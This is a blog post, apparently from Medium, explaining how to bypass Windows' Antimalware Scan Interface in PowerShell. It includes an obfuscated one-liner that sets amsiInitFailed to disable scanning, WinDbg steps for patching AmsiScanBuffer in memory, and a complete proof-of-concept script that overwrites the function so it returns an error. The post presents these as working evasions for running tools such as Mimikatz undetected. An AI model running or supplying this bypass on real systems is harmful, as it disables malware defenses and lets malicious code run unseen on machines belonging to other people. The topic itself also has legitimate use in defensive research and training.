Let’s analyze how this command bypasses AMSI. We can load the referenced assembly, System.Management.Automation.AmsiUtils, into dnSpy, a decompilation tool for .NET programs. The assembly can be found atC:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll. Once open, we can see that this is the assembly PowerShell uses to interact with AMS

Focusing on the ScanContent method, we can see it returns AMSI_RESULT_NOT_DETECTED if the amsiInitFailed variable is set to true.

This bypass simply sets amsiInitFailed to true, causing the ScanContent method to always return AMSI_RESULT_NOT_DETECTED. Although the original bypass is detected, it can be easily restored with minimal changes, such as string concatenation and changing $true to !$false.

[Ref].Assembly.GetType('System.Management.Automation.Amsi'+'Utils').GetFie
ld('amsiInit'+'Failed','NonPublic,Static').SetValue($null,!$false)

Although the string “$true” gets blocked the first time, it is allowed after running our new version of the PowerShell payload, proving that it bypasses AMSI successfully, We successfully bypassed AMSI. This payload still works, even on Windows 11.

Attack AmsiScanBuffer

Inspect assemble codes of AmsiScanBuffer, we also noticed the code block that forces the function to exit with error.

At the end of the function, we can see this:

It seems that the actual anti-malware scanning is performed in the instructions that compose the big box on the left. Also, we notice that several JMP instructions land in mov eax 0x800700057 and then the function ends. The value 0x80070057 is a standardized error code from Microsoft, which is E_INVALIDARG. In this case, it’s used by AmsiScanBuffer() to return when the parameters passed by the caller code are not valid.

So, what would happen if we modify the AmsiScanBuffer() function in memory to bypass the anti-malware checking instructions altogether and force it always to return 0x80070057? Let’s check it!

first get byt-code of mov eax,0x80070057 so let’s examine the instructions using WinDBG:

By analyzing the disassembled instructions of the AmsiScanBuffer function, we observe that the instruction mov eax, 0x80070057 corresponds to the bytecode sequence b857000780. This instruction moves the E_INVALIDARG error code (0x80070057) into the EAX register. Following this with a ret instruction (c3), which returns from the function, we can effectively modify the beginning of AmsiScanBuffer to always return an error, thereby bypassing the Antimalware Scan Interface (AMSI).

In assembly language, the instructions are:

b857000780          mov eax,0x80070057
c3                  ret

This sequence moves the E_INVALIDARG value (0x80070057) into the EAX register, making it the return value of AmsiScanBuffer(), and then the function ends with a RET. As shown above, the bytes b8 57 00 07 80 and c3 correspond to these instructions.

Let’s patch it using WinDbg. First, execute the detected command Invoke-Mimikatz and break the execution. Then, check the current instructions at the beginning of AmsiScanBuffer().

instructions of the beginning of AmsiScanBuffer

instructions of the beginning of AmsiScanBuffer

As we are in a little-endian architecture (x86_64), we need to reverse the byte-code of the mov eax,0x80070057 | ret instructions: c380070057b8.

Modify the start of amsi!AmsiScanBuffer with those bytes.

After resuming execution, invoking Mimikatz is not detected as malicious. Enjoy an AMSI-free PowerShell session!

Below is the full proof-of-concept PowerShell script to automate this process:

function LookupFunc {
    Param ($moduleName, $functionName)
    # Retrieve the Microsoft.Win32.UnsafeNativeMethods type from System.dll
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    # Dynamically resolve GetProcAddress method using pattern matching
    $getProcAddress = $assem.GetMethods() | Where-Object { $_.Name -like "Ge*P*oc*ddress" }

    # Get module handle and return function address
    return $getProcAddress[0].Invoke($null, @(
        ($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), 
        $functionName
    ))
}

function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    # Create dynamic type for unmanaged function delegation
    $type = [AppDomain]::CurrentDomain.
        DefineDynamicAssembly(
            (New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run
        ).
        DefineDynamicModule('InMemoryModule', $false).
        DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
        [System.MulticastDelegate])

    # Define delegate constructor and method
    $type.DefineConstructor(
        'RTSpecialName, HideBySig, Public',
        [System.Reflection.CallingConventions]::Standard,
        $func
    ).SetImplementationFlags('Runtime, Managed')

    $type.DefineMethod(
        'Invoke', 
        'Public, HideBySig, NewSlot, Virtual', 
        $delType, 
        $func
    ).SetImplementationFlags('Runtime, Managed')

    return $type.CreateType()
}

# Resolve AmsiScanBuffer address from amsi.dll
[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiScanBuffer
$oldProtectionBuffer = 0

# Create proper VirtualProtect delegate with correct signature (including UIntPtr for size)
$vpDelegate = getDelegateType @(
    [IntPtr],                  # lpAddress
    [UIntPtr],                 # dwSize (platform-dependent size)
    [UInt32],                  # flNewProtect
    [UInt32].MakeByRefType()   # lpflOldProtect
) ([Bool])                     # Return type

$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
    (LookupFunc kernel32.dll VirtualProtect), 
    $vpDelegate
)

# Calculate size as UIntPtr for x64 compatibility
$patchSize = [UIntPtr]::new(6)

# Change memory protection to PAGE_EXECUTE_READWRITE (0x40)
$success = $vp.Invoke($funcAddr, $patchSize, 0x40, [ref]$oldProtectionBuffer)
if (-not $success) { throw "Failed to change memory protection to RWX" }

# Apply patch to force E_INVALIDARG return (0x80070057)
$patch = [Byte[]] (
    0xB8, 0x57, 0x00, 0x07, 0x80,  # mov eax, 0x80070057 (E_INVALIDARG)
    0xC3                             # ret
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $funcAddr, $patch.Length)

# Restore original memory protection using saved value
$success = $vp.Invoke($funcAddr, $patchSize, $oldProtectionBuffer, [ref]$oldProtectionBuffer)
if (-not $success) { throw "Failed to restore original memory protection" }

Write-Host "[+] AmsiScanBuffer successfully patched! AMSI bypass complete."

However, returning 0x80070057 is not the only method to bypass AmsiScanBuffer(). We can also make it return 0 using instructions like sub eax, eax | ret or xor eax, eax | ret, achieving a successful bypass as well!.

If you notice any inaccuracies in this blog, feel that certain explanations could be improved, have additional techniques to share with the community, or would like me to write about a different subject, please contact me on Discord.

Reference

https://docs.microsoft.com/en-us/windows/win32/amsi/images/amsi7archi.jpg

[embed]AMSI Bypass Methods Microsoft has developed AMSI (Antimalware Scan Interface) as a method to defend against common malware execution and…pentestlaboratories.com

[embed]A Detailed Guide on AMSI Bypass - Hacking Articles Introduction Windows developed the Antimalware Scan Interface (AMSI) standard that allows a developer to integrate…www.hackingarticles.in

[embed]How to bypass AMSI and execute ANY malicious Powershell code Hello again. In my previous posts I detailed how to manually get SYSTEM shell from Local Administrators users. That's…0x00-0x00.github.io

[embed]Bypass AMSI on Windows 11 Motivationgustavshen.medium.com

[embed]Bypassing the Antimalware Scan Interface (AMSI) Part 1 Introductionmedium.com

[embed]AMSI Bypass Using Memory Patching | Blog | Fluid Attacks In this article we will be able to bypass AMSI using memory patching.fluidattacks.com

[embed]Introduction to Windows Evasion Techniques Course | HTB Academy In this module we will cover the basics of evading antivirus solutions (Windows Defender specifically) from an…academy.hackthebox.com


메타데이터
post_id
7fc6108b24ff
slug
amsi-bypass-understanding-and-evasion-techniques-7fc6108b24ff
url
https://medium.com/@youssefachtatal/amsi-bypass-understanding-and-evasion-techniques-7fc6108b24ff
canonical_url
https://medium.com/@youssefachtatal/amsi-bypass-understanding-and-evasion-techniques-7fc6108b24ff
author_url
https://medium.com/@youssefachtatal
status
ok
fetched_at
2026-06-16 19:09:56